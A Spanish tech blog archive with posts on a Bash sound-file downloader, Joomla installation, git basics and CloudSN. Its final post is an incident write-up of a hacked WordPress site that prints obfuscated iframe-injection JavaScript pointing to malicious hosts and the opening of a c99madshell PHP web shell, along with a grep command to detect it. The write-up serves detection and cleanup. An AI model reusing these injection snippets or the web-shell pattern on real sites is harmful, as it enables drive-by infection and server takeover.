• Parte I: Destripando: Instants Chile Get! – Planificación

Voy a ser honestos con ustedes, no tengo idea de qué cosa significa exactamente una «prueba de concepto». La utilizo según lo que me parece que quiere decir, “probar” si es posible dar con una pequeña prueba para luego generalizarla. Claramente el objetivo de mi aplicación, es bastante general (descargar todos los archivos y decodificarlos). Por lo que antes de comenzar a ver como descargar todos los archivos, sería más prudente descargar alguno y ver si efectivamente puedo transformarlo en un formato audible que no sea swf. ¿Imaginan que logro dar con una fórmula para descargar todo y finalmente resulta que no puedo hacer nada con los archivos?.

Esto por supuesto, puede tener muchos acercamientos (incluso ni siquiera utilizar un prototipo), personalmente me gusta lo que pregona la metodología ágil (algún día hablaré de ello); que consiste básicamente[2] en trabajar en base a iteraciones y pequeñas metas, de forma de que cada cierto intervalo corto de tiempo (cada día por ejemplo) se avance algo, aunque signifique modificar y reparar el código más de alguna vez. Esto permite tener una percepción de “ir avanzando” y no quedarse “pegado” en soluciones complejas, además darle muchísimo más dinamismo.

Por otra parte, me parece mucho más simple dar con una solución única y luego buscar la forma de generalizarla que desgastarse en problemas más difíciles de abordar, especialmente cuando recién nos sentamos y parece abismante la cantidad de trabajo que queremos realizar.

Manos a la obra

Descargando

Lo primero, entonces será encargarnos de descargar alguno de los archivos. No sé como hacerlo en otros navegadores que no sean Firefox, pero supongo que deben tener procedimientos similares. Nos vamos a la página del instant que queremos utilizar como prueba (sí, no podría dejar pasar a Carlitox) y luego:

• Nos vamos al menú Herramientas » Información de la página, o
• Apretamos el botón derecho y escogemos “Información de la página”, o
• (mi favorita) <Ctrl> + <i>

En los tres casos nos veremos con una pantalla más o menos así:

Nos vamos a la pestaña “Media” buscamos el archivo y pinchamos en “Guardar como”. Por si fuera poco (y sin quererlo) descubrimos el lugar donde está almacenado (http://www.axonema/instants/swf2/jojojo.swf), y con bastante lógica podríamos suponer que todos los instants están guardados en una carpeta llamada swf2. Nuestro objetivo pues en alguna iteración ulterior será la de descargar todos los archivos con extensión swf de dicha carpeta.

Decodificando

Perfecto, ya tenemos nuestro archivo, ahora faltaría comprobar si es posible decodificarlo, una rápida búsqueda en google nos llevará a que la herramienta que permite destripar este tipo de archivo: swftools, por lo que tendremos que encargarnos de instalarla.

Nos desplazamos a través de la terminal al directorio donde hayamos descargado el joJÓjo y probamos swfextract:

swfextract jojojo.swf
Objects in file jojojo.swf:
[-i] 7 Shapes: ID(s) 3-9
[-i] 1 MovieClip: ID(s) 1
[-s] 1 Sound: ID(s) 10
[-f] 1 Frame: ID(s) 0

Hm, tiene 1 Sound, que está como ID 10… extraigámoslo:

swfextract -s 10 jojojo.swf -o jojojo.mp3

(por supuesto que un swfextract --help ayuda bastante!)

¡Perfecto! Extrajimos el audio en mp3 y funcionó sin problemas. Podríamos aprovechar de probar si es posible decodificar el mp3 y pasarlo a wav. Para esta tarea, no se me ocurre nada mejor (ni más simple) que utilizar LAME, así que lo siguiente será instalarlo.

En el mismo directorio, ejecutamos:

lame --decode jojojo.mp3 jojojo.wav

Voilà!

[1] Quizá “prototipo” sea el término más adecuado…

[2] En realidad es una simplificación bastante burda, pero sirve de forma académica

Imagen:

• Robot por Julien Tromeur en Stock.xchng

Compartir

Al menos en mi percepción, lo más importante de la programación es saber abstraerse; si bien, todos los lenguajes tienen sintaxis, reglas y exigencias distintas a la hora de programar (que el “;” al final de cada línea, que la indentación, etc). Al final todos poseen ciertos denominadores comunes, como estructuras de control (if, else), bucles, iteraciones, etc. La idea de esta serie, si bien aprender algo de bash y scripting, es también aprender técnicas y/o sugerencias para ayudar a programar un poco mejor.

Luego de esta introducción, comenzamos la primera parte: la planificación.

La motivación de programar no es por generación espontánea, habitualmente responde a algún problema o necesidad que debe ser resuelto. En este caso no es distinto, tengo una página web, con cierto contenido que inicialmente sólo me permite escucharlo por internet. Más de alguna vez he echado de menos tener la posibilidad de contar con esos sonidos en momentos que lo ameritan, por lo que ya tengo el objetivo principal de la aplicación: descargar los instants de la página web.

Con esta información pues, tenemos que investigar algunas cosas; comenzando por si existe alguna aplicación similar. Esto puede parecer obvio, pero es increíble lo difícil que es ser original. Teniendo ya este punto, nos vamos a mirar la página web en cuestión, donde una rápida mirada (botón derecho en uno los botones) veremos que son sonidos flash.

Con este nuevo obstáculo, veremos que nuestro simple plan se complejiza un poco:

1. Descargar todos los sonidos
2. Transformarlos a mp3/wav

Aunque el trabajo que vayan a realizar, parezca simple (o que en definitiva lo sea) me ha dado mejor resultado planear lo que voy a hacer antes de tirarme de cabeza a escribir el código, a la larga, ahorra tiempo y es mucho menos frustrante que empezar y darse cuenta cada 10 minutos que lo que parecía sumamente sencillo no lo era tanto.

Afortunadamente, mi carrera (Medicina) me obliga a ser metódico, ¿imaginan que cada vez que examinara a un paciente lo hiciera en distinto orden?

Sería dramático (de hecho, es uno de los típicos errores de los estudiantes de medicina cuando recién ingresan a las labores clínicas), de esa forma es muy fácil omitir cosas importantes. En cambio si uno lleva el mismo orden —independiente de cuál sea— además de memorizarlo con mayor facilidad, simplifica enormemente la tarea de ir agregando o retirando “pasos” para hacer más eficiente/efectivo el sistema.

Por supuesto que la herramienta a escoger no es algo que se pueda afirmar con certeza absoluta, es a conveniencia de cada persona. Para alguien podría ser útil realizar un listado (receta de cocina) lo más detallado posible, realizar un diagrama de flujo, utilizar pseudocódigo, y/o muchas más.

Esta fase también nos puede permitir tomar una mejor decisión sobre qué lenguaje utilizar. En ese sentido, no es lo mismo diseñar una aplicación web (php), una aplicación de escritorio (python-gtk) o un script simple como el que motiva esta serie.

Si ya contásemos con más experiencia en algún lenguaje (o en programación en general), podríamos hilar incluso más fino. Por ejemplo, si quisiéramos desarrollar alguna aplicación basada en el API de delicious, sabríamos que debemos tratar con archivos XML. Con este antecedente, podríamos investigar qué lenguaje cuenta con mejores bibliotecas[1] o las que sean más fáciles de manipular para el objetivo particular que andamos buscando.

Por último, todo esto no es sólo válido para trabajos personales, también lo es para trabajo en equipo; invertir unas horas más fuera de los computadores para hacer un esquema de la aplicación y planificar los distintos aspectos, facilita en gran medida que cada miembro tenga claro el rol que cumplirá y no será necesario interrumpir el trabajo, sólo para descubrir que el proyecto era inviable o los estilos de los códigos causan estragos en la comprensión de las aplicaciones.

Lamento que esta parte haya sido tan “latera”, desde la próxima parte ya empezaremos a tipear código; diría “programar”, pero la verdad es que sería una redundancia pues ya lo empezamos a hacer ;)

[1] Por supuesto que esto es una simplificación casi absurda, dudo que exista algún lenguaje que tenga un mal soporte para parsear archivos XML.

Foto:

• Php Code por Kakao Por en Stock.xchng

Compartir

Si eres alguno de los últimos (nunca faltan), paso a dar una pequeña descripción: los instants son esos pequeños momentos que por alguna razón pasaron a la historia, tenemos el clásico joJÓjo de Carlitox, el archi-conocido (al menos en Chile)  “¡Aer quien e’ el dostor!”, el semipterno Rick Roll o el clásico “EA Sports It’s in the game”, todo ello al alcance de un botón rojo.

¿Cuántas veces han querido tener ese sonido en su computador o en el celular para complementar ese momento que también lo ameritaba? Todo ello y más luego del salto…

La buena noticia es que acabo de desarrollar un pequeño script de Bash que obtiene todos, ¡sí! ¡todos! los sonidos desde instants.cl. Esto no habría sido posible sin los trabajos previos de Gon y Felipe Astroza.

Respecto a sus versiones anteriores, este script:

• Descarga los sonidos sólo una vez (el de Gon lo hacía dos veces)
• El código ha sido “simplificado”
• Utilicé Arrays (sí, de BASH) para establecer las “dependencias”
• Mejoré un poco la interfaz y las salidas son más explicativas

Si miran se podrán dar cuenta que aún hay algunas cosas que mejorar y que faltan:

• Utilizar un directorio temporal (en /tmp), en vez de crear una carpeta “on-the-fly” y luego eliminarla
• Preguntar al usuario dónde descargar los sonidos
• Dejar opcional la posibilidad de utilizar curl o wget
• Preguntar a qué formato el usuario quiere transformar los archivos (actualmente lo hace a mp3 y wav)

El script está disponible aquí, en un gist de Github, o a continuación. Me gustaría detenerme en lo de “un gist” (un especie de lugar para almacenar snippets) , esto significa que está funcionando como repositorio (de git por supuesto), pueden descargarlo, hacer un fork, clonarlo y ver los logs del desarrollo y lo más interesante, pueden hacer mejoras para luego yo incluirlas en la versión definitiva.

Si quiere algo más simple, también lo incluyo acá (click para desplegar):

#!/usr/bin/env bash
#
###############################################################################
#                                                                             #
#   (c) 2010, Pablo Olmos de Aguilera <pablo[at}glatelier.org>;               #
#   Based on work from Gonzalo Diaz <me{at)gon.cl>;                           #
#   http://gon.pastebin.com/zanh8uAq                                          #
#                                                                             #
#   Based on InstantsFunGet from Felipe Astroza <felipe(at]astroza.cl>        #
#   http://felipe.astroza.cl/news/2010/05/08/audios-de-instantsfun-es-en-mp3/ #
#                                                                             #
#   This program is free software: you can redistribute it and/or modify      #
#   it under the terms of the GNU General Public License as published by      #
#   the Free Software Foundation, either version 3 of the License, or         #
#   (at your option) any later version.                                       #
#                                                                             #
#   This program is distributed in the hope that it will be useful,           #
#   but WITHOUT ANY WARRANTY; without even the implied warranty of            #
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the             #
#   GNU General Public License for more details.                              #
#                                                                             #
#   You should have received a copy of the GNU General Public License         #
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.     #
#                                                                             #
###############################################################################

#==============================================================================
#
#          FILE:  instants_cl_mp3_downloader.sh
#
#   DESCRIPTION:  Download every 'instant' from instants.cl to a folder.
#
#      REVISION:  0.9
#==============================================================================

#
# Constants
#

SOURCE_HOST=http://www.instants.cl/search?max-results=1000

# TODO: Use mktemp
TEMP_DIR=tmp

# TODO: Ask user
COLLECTION_DIR=collection

# TODO: make optional wget or curl
# TODO: ask if the user wants to convert to wav
REQUIREMENTS=( lame wget swfextract )

function prepare() {
    for app in ${REQUIREMENTS[@]}; do
        if ! type -P ${app} &>/dev/null; then
            # TODO: Find a way to make bash find that swfextract is part from swftools
            [[ $app = "swfextract" ]] && app="swftools"
            not_installed=("${not_installed[@]}" "$app")
        fi
    done

    if [ ${#not_installed[@]} != 0 ]; then
        echo "Sorry, the following apps have to be installed to run this script:" >&2
        for required_app in ${not_installed[@]}; do
            printf "   %s\n" $required_app
        done
        exit 1
    fi

    mkdir -p $TEMP_DIR $COLLECTION_DIR
}

function cleanup() { rm -fr $TEMP_DIR; }
function get_swf_list() {
    echo $(cat $1 | grep swf | awk 'BEGIN {FS="\""}; {print $12}');
}

function get_index() {
    wget -q $1 -O $TEMP_DIR/index
    echo "$TEMP_DIR/index"
}

#
# Starting Application
#

prepare

echo "InstantsChileGet-Improved - (C) 2010 Pablo Olmos de Aguilera"
echo "Based on: InstantsChileGet - (C) 2010 Gonzalo Diaz"
echo "based on: InstantsFunGet - (C) 2010 Felipe Astroza"
echo -n -e "Reading index\r"
swf_list=$(get_swf_list $(get_index $SOURCE_HOST))

# Deleting $TEMP_DIR/to_download if exists
[[ -e $TEMP_DIR/to_download ]] && rm $TEMP_DIR/to_download

for swf in $swf_list; do
    echo $swf >> $TEMP_DIR/to_download
done

# Remove duplicated entries
swf_list=$(cat $TEMP_DIR/to_download | uniq )

TOTAL=$(echo $swf_list | wc -w)
current=1

for swf in $swf_list; do
        name=$(echo $swf | awk 'BEGIN {FS="/"}; {print $6}')
        echo -e -n "\r[$current of $TOTAL]\e[0K $swf => $TEMP_DIR/$name\n"
        wget -q -nc $swf -P $TEMP_DIR/
        let "current++"
done

echo "Now we are going to extract the sound..."
sleep 5

current=1

for swf in $TEMP_DIR/*.swf; do
        filename=$(basename $swf)
        name=${filename%.*}
        echo -e -n "\r[$current of $TOTAL]\e[0K Extracting sound from: \
        $swf => $COLLECTION_DIR/$name.mp3\n"
        sound_id=$(swfextract $swf | grep Sound: | awk '{print $5}')
        swfextract -s $sound_id $swf -o $COLLECTION_DIR/$name.mp3
        lame --decode $COLLECTION_DIR/$name.mp3 $COLLECTION_DIR/$name.wav
        let "current++"
done

cleanup

Para los que les interese un poco más aprender algo de scripting, les cuento que este script contiene varias a respuestas a problemas típicos (extraer campos de una dirección, obtener el nombre sin extensión, entre otros), por lo que revisar el código les puede ser bien útil.

De hecho, comenzaré una serie de artículos donde iremos paso a paso desarrollando este script, desde la ideación, prueba de concepto, pseudocódigo y finalmente el código propiamente tal. Todo esto, para que podamos ir aprendido “abstracciones” y responder al cómo programar, más que a “aprender Bash”.

PS.- Este artículo va con trackbacks para ambos Felipe y Gon, espero que funcionen.

Compartir

Este artículo fue escrito por Julian Eduardo Onoa Aguirre, bloguero del sitio Somewhere back in Linux…. Agradecemos también su diposición a celebrar con nosotros nuestro primer millón

Saludos!

Por estos días uno de los mejores blogs que sigo desde hace mas o menos un año llega al millón de visitas. Como blogger puedo decir que llegar a este nivel no es nada sencillo, se requiere muchísimo trabajo y dedicación. Por eso para mí es un gran honor (y un placer!) poder ser partícipe de esta gran fiesta y poder contribuir con un mini-tutorial para celebrar este gran logro que Geeks & Linux Atelier festeja por lo alto. Aprovecho la oportunidad que me han dado de escribir en su sitio y les traigo un sencillo tutorial de instalacion de joomla! en Ubuntu (de hecho sirve para cualquier distribución Linux) y que espero que sea de utilidad y sobre todo que esté a la altura de los buenos tips que día a día Geeks & Linux Atelier comparte con todos nosotros. Bueno, manos a la obra….

Para los que no saben en qué consiste Joomla!, y sin ir más allá, les dejo la descripción de Wikipedia: “Joomla! es un sistema de gestión de contenidos, y entre sus principales virtudes está la de permitir editar el contenido de un sitio web de manera sencilla. Es una aplicación de código abierto programada mayoritariamente en PHP bajo una licencia GPL. Este administrador de contenidos puede trabajar en Internet o intranets y requiere de una base de datos MySQL, así como, preferiblemente, de un servidor HTTP Apache.

Sin más preámbulo les voy a indicar como instalé correctamente Joomla! en mi Ubuntu Lucid.

Primero que todo debes entender que Joomla! funciona sobre entornos web, y si quieres usarlo en tu equipo debes tener instalado un ambiente web. para esto primero deberás instalar LAMP en ubuntu. Una vez lo tengas listo, abre una consola y escribe lo siguiente (en este orden):

mkdir joomla
cd joomla
wget http://joomlacode.org/gf/download/frsrelease/12649/53618/Joomla_1.5.20-Spanish-pack_completo.tar.gz

Con este comando descargarás joomla!. Una vez termine la descarga debes extraer los archivos

tar xvjf Joomla_1.5.20-Spanish-pack_completo.tar.gz

En este momento ya puedes borrar el paquete que descargaste (ojo! No el contenido que acabas de extraer!)

rm -f Joomla_1.5.20-Spanish-pack_completo.tar.gz

Ahora mueve el contenido de joomla a tu carpeta www

cd ..
sudo mv joomla /var/www/

Para que todo funcione correctamente debemos dar permisos de escritura a la carpeta donde instalaremos joomla!, el método más sencillo es

sudo chown -R www-data:www-data /var/www/joomla

Existen otros métodos pero la verdad este me pareció mucho más sencillo :).  Ahora si empecemos a instalar joomla, para esto debes ingresar a esta dirección en tu navegador web favorito

http://localhost/joomla

Si todo está bien, deberás ver una ventana como esta, donde se te pide seleccionar el idioma de instalación:

Luego hará la comprobación de tu sistema verificando que tienes todo configurado para poder trabajar con joomla! sin problemas (si en este paso tienes dudas deja un comentario!):

Aceptas la licencia GNU/GPL de Joomla!

Ahora crearemos la base de datos necesaria para almacenar la información de nuestro sitio, recuerda que debes ingresar los valores que asignaste cuando instalaste MySQL

A continuación te solicitará la configuración FTP. En este caso no haremos nada ya que estamos usando nuestro propio equipo, no hay necesidad de esto.  Finalmente te pedirá que pongas los datos básicos del sitio que vamos a crear:

Bueno, y eso es todo! Luego te pedirá borrar la carpeta de instalación de instalación, lo puedes hacer con un

sudo rm -r /var/www/joomla/installation

Ahora refresca la pagina y listo!

Adicional quiero compartir con ustedes unos excelentes recursos si eres principiante como yo:

Video tutoriales de joomla! que realizó strOngbacker en su canal de youtube y que son bastante buenos para empezar

Este manual de usuario creado por reparaciondepc.cl

Bueno, creo que eso es todo. Y de nuevo felicitaciones a Geeks and Linux Atelier por su excelente trabajo. Espero que los 2 millones sean pronto!

Up the Irons! And the Geeks!

Compartir

Yomu es una red social libre, de microblogging (estilo twitter), basada en el software libre statusnet, esta red social esta enfocada a un publico con gustos similares, en este caso manga, anime, que cuenta con una buena comunidad en ascenso. Algunas de sus características son:

-  100%  libre bajo la licencia GPL

- Los mensajes que publique cada usuario, están sujetos a la licencia Creative Commons.

- Hay trending topics, responder con signos, competencias, grupos, linea de tiempo global, geolocalización, entre muchos otros interesantes features.

- Posibilidad de usar Open ID para loguearte.

- Sincronizable con otras redes de Statusnet y la posibilidad de convivir entre si.

Este es solo 1 de varios ejemplos de como el software libre puede ser adaptado  a lo actual, según las necesidades de cada persona. La url es http://worldanime.tv/estatus

Compartir

Creando nuestro primer proyecto

Primero, tenemos que inicializar el proyecto en alguna parte. Digamos que en /home/david/docs/.

git init
git add .
git commit

Es decir, iniciamos el repositorio, agregamos todos los archivos que ya existen (si no hay ninguno, no importa), y creamos la primera copia. Ya tenemos una copia de nuestro proyecto con git. Ahora, cambiamos un par de archivos (eso me significa abrir OpenOffice.org y hacer un par de cambios en los HTML del proyecto, pero si es código basta con vim, emacs o lo que usen).

Veamos lo que ha cambiado:

git diff

Es muy fácil.

Si queremos ver las diferencias entre una revisión y otra, basta con

git diff revisión camino

Y podemos aplicar parches y cambios de modos. Git va a saber de los cambios que se hicieron.

git apply patch -p0

O podemos ver los cambios de manera un poco más reducida, un sumario de cambios y los archivos que no están siendo vigilados por git.

git status

Debemos decirle a git cuáles archivos queremos seguir usando y cuáles no. Podemos hacer lo siguiente:

git add ruta/al/archivo

para agregar el archivo,

git clean

para eliminar todos los archivos que no corresponden a un archivo vigilado por git, o agregar esos archivos al archivo .gitignore si no queremos que vuelvan a aparecer.

Si ya cambiamos algo y queremos volver atrás,

git checkout ruta/al/archivo

nos restaurará la última copia. Podemos restaurarlos todos también.

Podemos eliminar archivos

git rm ruta/al/archivo

o moverlos

git mv ruta/al/archivo ruta/nueva/al/archivo

Y bueno, también funciona sobre directorios.

Esto me salvó la vida por primera vez en el proyecto. Son más de 800 módulos con varios tipos de archivo; la cantidad de documentación que se genera, por ende, es bastante. Todos mis compañeros de trabajo (los desarrolladores, los testers, los señores RMCOBOL y algunos funcionarios encargados del área de negocios) pueden revisar la documentación desde sus propios repositorios y cambiar lo que esté malo o agregar notas (aunque eso no se les permite a todos, recordemos que no todos saben HTML). Trabajo colaborativo FOR THE WIN.

Subiendo nuestro trabajo al repositorio

Para subir todos los archivos cambiados al repositorio (que por ahora es local, les dejo de tarea el configurar un repositorio git o pueden usar github.com para sus proyectos open source), pueden usar:

git commit -a

Es posible también limitar la subida de archivos a algunos archivos específicos. Es posible agregar un mensaje corto usando -m “Esto fue lo que hice”, o bien podemos usar -e vim para editar el registro de cambios. Y podemos usar -v para revisar por última vez el parche generado.

Si nos equivocamos, podemos reeditar la metadata de ese commit con

git commit --ammend

o

git reset HEAD^

Y sí, esto me salvó la vida por segunda vez desde que trabajo aquí. En un commit puse “La secretaria sale con mi compañero de trabajo”, por molestar. Y en vez de presionar la tecla de borrado, pulsé Entrar. Bueno, a veces un poco de diversión en el trabajo no es malo. Y la sentencia era mucho más comprometedora que eso, pero para mantener las buenas costumbres, no la pondré. Mejor imagínenlo.

En un par de días más, volveré con las dos últimas partes del artículo. Cuando me comprometí a escribir acá, pensé en escribir cosas lindas, flores y arbolitos, campo, auroras boreales y todo eso; pero lamentablemente el trabajo y el estar lejos de mi familia (y el hecho de que mi español no es de lo mejor, por ende escribir un buen y largo artículo no es tarea fácil para mí) me lo ha impedido.

Off Topic: Un saludo cariñoso a todos ustedes en Chile, Argentina y los países aledaños que han sido afectados por el 27 de febrero. Estuve siguiendo atentamente las novedades del terremoto paso a paso por televisión. Una reflexión que quiero compartirles: en Estados Unidos hay tornados, pero no afecta tanto porque ellos tienen dinero; en Japón hay maremotos, pero no afecta tanto porque ellos tienen tecnología; en Alemania y los países nórdicos tenemos inviernos muy crudos, pero no nos afecta tanto porque tenemos una buena organización. En Chile ha habido los terremotos más fuertes de la historia, volcanes, maremotos, lluvias, incendios forestales… pero a pesar de todo, ustedes son los más afortunados, porque tienen CHILENOS.

¡Saludos y nos vemos en la siguiente parte!

Foto:

• Construction – Hard Hat & Plan por LotusHead « stock.xchng

Compartir

¿Alguna vez han visto páginas web pornográficas? ¿Han tomado las precauciones del caso para que no les encuentren en la empresa, configurando sus browsers? Pues bien, cada vez que desarrollen aplicaciones Web tienen que hacer exactamente lo mismo para asegurarse de que no tienen errores de autenticación.

Me han contado que es algo así.

Lo que yo hago para ver porno probar seguridad en
mis sistemas es:

1. Deshabilitar cookies
2. Deshabilitar historial
3. Deshabilitar caché
4. Deshabilitar passwords
5. Revisar cada URL y cada cajita de texto para poder encontrarle alguna falla a la aplicación
6. Habilitar cookies y leer cada una de las cookies para tratar deconseguir mas información sobre el video para saber si hay algo de información que pueda causarme problemas.

Eso sería, ya viene la tercera parte sobre git…

Compartir

Entre los servicios soportados encontramos Gmail, GoogleReader, Twittter, Identi.ca y cualquier correo IMAP o POP3.

Para instalarlo en Ubuntu debemos agregar el PPA del proyecto:
sudo add-apt-repository ppa:chuchiperriman/cloudsn

Y para instalarlo:
sudo apt-get update && sudo apt-get install cloudsn

En Arch se encuentra disponible en AUR:
yaourt -S cloudsn

Una vez instalado lo podrás encontrar en las aplicaciones de Internet, al seleccionarlo aparecerá un nuevo icono en nuestra bandeja del sistema.

Seleccionamos nuestro nuevo icono y podremos agregar nuestras redes favoritas.

Una vez configuradas nuestras cuentas, el programa utilizará nuestro gestor de notificaciones para avisarnos de las actualizaciones de las redes configuradas.

Si lo preferimos podemos cambiar algunas preferencias del programa, que aunque pocas son las mínimas necesarias para su correcto funcionamiento.

Ya con tu programa funcionando correctamente podrás revisar tus redes y sus actualizaciones cuando quieras solo haciendo click en el icono de CloudSN.

No soy un activo usuario de las redes sociales, pero debo decir que este programa me gustó mucho por su sencillez y porque cumple satisfactoriamente con sus funciones. Se esperan nuevas actualizaciones donde vendría el soporte de nuevas redes entre ellas Facebook.

Hasta la proxima.

Compartir

Ahora sí, ¡comenzamos!

El dueño de la empresa quería tener acceso a los documentos que yo escribía, para revisarlos de vez en cuando. Ese de vez en cuando para cualquiera se traduciría en “casi nunca”. Para él, es un “mañana, tarde y noche”.

Lo que hice fue tomar uno de los diez ordenadores, ponerlo como firewall con una regla que conecta directamente el puerto de git (lo tengo funcionando como daemon) a mi servidor de documentación. Mi jefe usa un MacOS X y tiene git instalado (a veces descarga cosas desde github), por lo que lo único que debe hacer es:

git clone git@myserver.org

La configuración de git es un poco más compleja, dependiendo de la recepción de este artículo puedo compartirla, pero por lo pronto creo que es necesario aprender a usarlo nada más.

Ahora, cada vez que quiere leer lo nuevo, sólo debe entrar en el directorio donde tiene la documentación:

git pull

Pero yo que soy el que está documentando, tengo mucho trabajo.

De partida, git es distribuido; cada copia del directorio de proyecto tiene su propio repositorio (en un subdirectorio llamado .git), por lo que uno puede tener copias locales y remotas. También hay “repositorios desnudos” o “bare repositories” que no están adjuntos a una copia. Esto es lo primero que hice cuando decidí cómo hacerlo. Como tiene su propio repositorio, la división entre el tronco (trunk) y las ramas (branches) y hojas del repositorio están incluídas lógicamente, no como en Subversion en el que uno tiene que crear los subdirectorios trunk/, branches/ y tags/.

Configurando nuestro entorno

Bueno, no siempre documento yo. A veces hay cosas que documentan mis compañeros que están en el desarrollo y ellos también deben tener su copia de git. Pero, ¿cómo saber quién escribió qué? No, no es difícil. Con git hasta por e-mail podemos enviar cambios. Configuremos entonces nuestro nombre y nuestro e-mail.

git config --global user.name "Arie Deckelmann"
git config --global user.email "arie.deckelmann@gmail.com"

(Arie Deckelmann es uno de mis colaboradores, es una de las personas más inteligentes que conozco y fue el que me enseñó la gran mayoría de los trucos de git que ahora sé. Podría haberlos aprendido yo mismo, pero a veces simplemente no me da la cabeza para tanto).

También podemos mostrar colorcitos:

git config --global color diff auto
git config --global color status auto
git config --global color branch auto

Y con eso tenemos salidas de color. Quizás algún diseñador gráfico podría darnos una mano con ello, pero bueno…

Continúa en la tercera parte.

Foto:

• Notebook por Axxnn « stock.xchng

Compartir

En fin, el problema era el siguiente; cada cierto tiempo aparecía al final de la etiqueta body un script de javascript que camuflaba la creación de un iframe, el código en la primera ocasión era (lo deformé para que no resulte en la efectiva creación de un iframe):

Este artículo es bastante largo (como solía hacerlo) así que si no quieres leer todo y quieres ir directamente a lo importante, pues haz click aquí.

<5cr1pt language=JavaScript>document.//**write(unescape('%3ciframe %77idt%68=1height=1%20bo%72de%72=0 fram%65borde%72%3d0'+'s%72c=%27http:%2f'+'%2fj'+'e%6eni%66ergr%61'+'m%69g.com%2fstd/%67o.php?%73i%64=1%27%3e%3c/ifra%6de%3e'))

Si uno presta atención al código, en realidad verá que además no estar tan oculto el atributo de width y height a uno (1), lo que logrará será que en el renderizado habitual de la página sea invisible, claro que mirando el código fuente de la página es bastante claro. Incluso aunque ‘no se vea’, ejecutará a través del iframe cierto archivo php en la web que almacena el código malicioso.

Para que quede más claro, esto se traduce a html en tiempo de ejecución a:

<1fr4me width=1 height=1 border=0 frameborder=0 src="xttp://jenn1fergram1g.com/std/go.php?sid=1" mce_src="http://jennifergramig.com/std/go.php?sid=1"</1fr4me>

El segundo y tercer ataque fueron prácticamente iguales y seguían el mismo patrón:

<5cr1pt language=JavaScript&gt;document.//**write(unescape('%3cif%72ame%77i%64t%68=1%20height='+'%31 %62order'+'=0 f%72%61m%65b%6frder=0 %73r%63=%27%68ttp%3a//ed%77ardal%74w%69es%2ecom/s%74d/go'+'.ph%70?sid=1%27%3e3c/i%66'+'rame%3e'))

<5cr1pt language=JavaScript&gt;document.//**write(unescape('%3csc%72ipt languag%65=%4a%61vaS%63rip%74%3edo%63ument.wr%69%74%65(un%65%73cape(%27%253%632569%256'+'6r%61mew'+'idth=%253%31 h%25%365ig%27%2b%27ht=1%252025%362%256%66rd%65r=%30fram%2565b%6f%2572d%27+%27%65r=%2530 %2572%63=%2527ht%74p:/%25%32fke%72%69%256%34%256%39%25%361nge%25'+'6%63i73%2ec%6fm%252%66%2576%2538%252findex%2e%70hp%252725%33e%253c%27%2b%27%25%32f%69f%72%256%31m%25%36%35%253e%27))%3c/sc%72%69p%74%3e'))

En las tres ocasiones este código estaba justo sobre el cierre de la etiqueta body (), por lo que supuse que estaba en el archivo que genera esa parte del código: footer.php. Bueno, como era de esperarse ahí estaba el código, lo eliminé y luego borraba el caché y asunto solucionado hasta que volvía a ocurrir. Sin contar por supuesto que cada vez cambié todas las claves.

Hasta acá, podemos sacar que al menos este tipo de ataques se valen de javascript y específicamente de la función document.write(unescape()), por lo que no estaría mal que cada cierto tiempo buscaras por líneas sospechosas como aquella.

Si es que acaso quieren decodificar ese código sin cargarlo en su html por supuesto, hay varias aplicaciones web dando vuelta por internet, esta al menos, funciona bastante bien.

La solución definitiva

Era obvio que si bien solucionaba el problema parcialmente algo estaba pasando que se repetía continuamente. Dado que el archivo se modificaba supuse que quizá la gente de Dreamhost sabría algo (lo otro que pensaba hacer era mirar los logs de apache, pero nunca alcancé :P). Como nunca, se tardaron un día en responder y me dijeron que habían algunos archivos infectados.

Durante todo ese tiempo, estuve investigando y resulta que es muy común que al igual que en javascript utilizando la función unescape, en php utilizan base64_decode. El asunto ahora era:

¿Cómo busco en todos mis archivos del servidor por esa cadena?

Parecía una tarea titánica hasta que recordé el comando grep que utilizo prácticamente todos los días.

Para poder realizar esto en tu servidor necesitas tener acceso ssh, me parece que no basta con acceso ftp.

La utilización básica de grep es:

grep [OPTION]... PATTERN [ARCHIVO]...

Como pretendo buscar en todos los archivos de mi usuario, lo primero que tengo que hacer es utilizar el parámetro para que la búsqueda sea recursiva (-R), como soy alaraco me gusta poder reconocer claramente los archivos así que le pongo color (--color=auto), inicialmente quiero listar los archivos y que no muestre todo el contenido (-l), además, no quiero correr el riesgo que no detecte algún archivo por alguna diferencia de capitalización (mayúsculas y minúsculas) por lo que agrego la última opción para evitarlo (-i). Luego de toda la serie de opciones, sólo bastaría poner la cadena en cuestión; base64_decode y el lugar (./, dado que quiero partir desde el directorio actual, poner /home/user o el directorio que quieras es igualmente válido.

Finalmente el comando quedaría:

grep -R --color=auto -l -i "base64_decode" ./

Además del par de archivos de archivos que incluía wordpress con esa cadena, aparecieron dos archivos bastante curiosos (pero notablemente bien camuflados), uno en el tema por defecto de wordpress (Kubrick) llamado rtl.php y el otro en un viejo tema que ya no utilizo llamado conf.php. Ambos archivos muy similares comenzaban así:

<?PHP
             //Authentication
$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YA....... [...]')));

El resto era una línea larguísima con un montón de caracteres alfanúmericos totalmente incomprensibles. Gracias a este script y esta pequeña aplicación web pude decodificar este extraño script que terminó siendo c99madshell, una verdadera navaja suiza del hackeo:

He ahí la herramienta montada en mi servidor local

Si quieren saber más sobre la herramienta les sugiero que revisen la espectacular revisión que hizo Derek Fountain o una traducción ahí no más por acá, por alguien que ni siquiera le dió el crédito, pero bueno, eso es harina de otro costal.

El ataque

Bueno, el ataque consistió básicamente en subir el archivo php (c99madshell) al servidor y desde ahí, bueno, era libre de hacer lo que quisiera con el blog, borrar archivos, cambiar claves de ftp, sql, etc. Lo que aún no sé, ni entiendo es cómo lo logró. Supuestamente sería por versiones desactualizadas del sistema (viejos exploits), pero siempre he estado utilizando la última versión de todo el software que tengo en el servidor. Lo otro que muchas veces hacen es subir el script a través de algún sistema que lo permita, por ejemplo, subir un avatar en algún foro. Lo raro, nuevamente, es que todo lo que hay en el server, al menos en mi usuario no se cuenta con ello.

Luego de subido el archivo, el resto es pan comido, basta direccionar el navegador a la dirección donde lo subiste, igual que como se accedería a cualquier url, pero te encontrarías con algo como lo la foto de más arriba.

Aún no me he dado el tiempo de analizar bien ese tema, pero si alguna vez logro comprender como es que ese shell llegó ahí, pues les contaré ;).

En resumen…

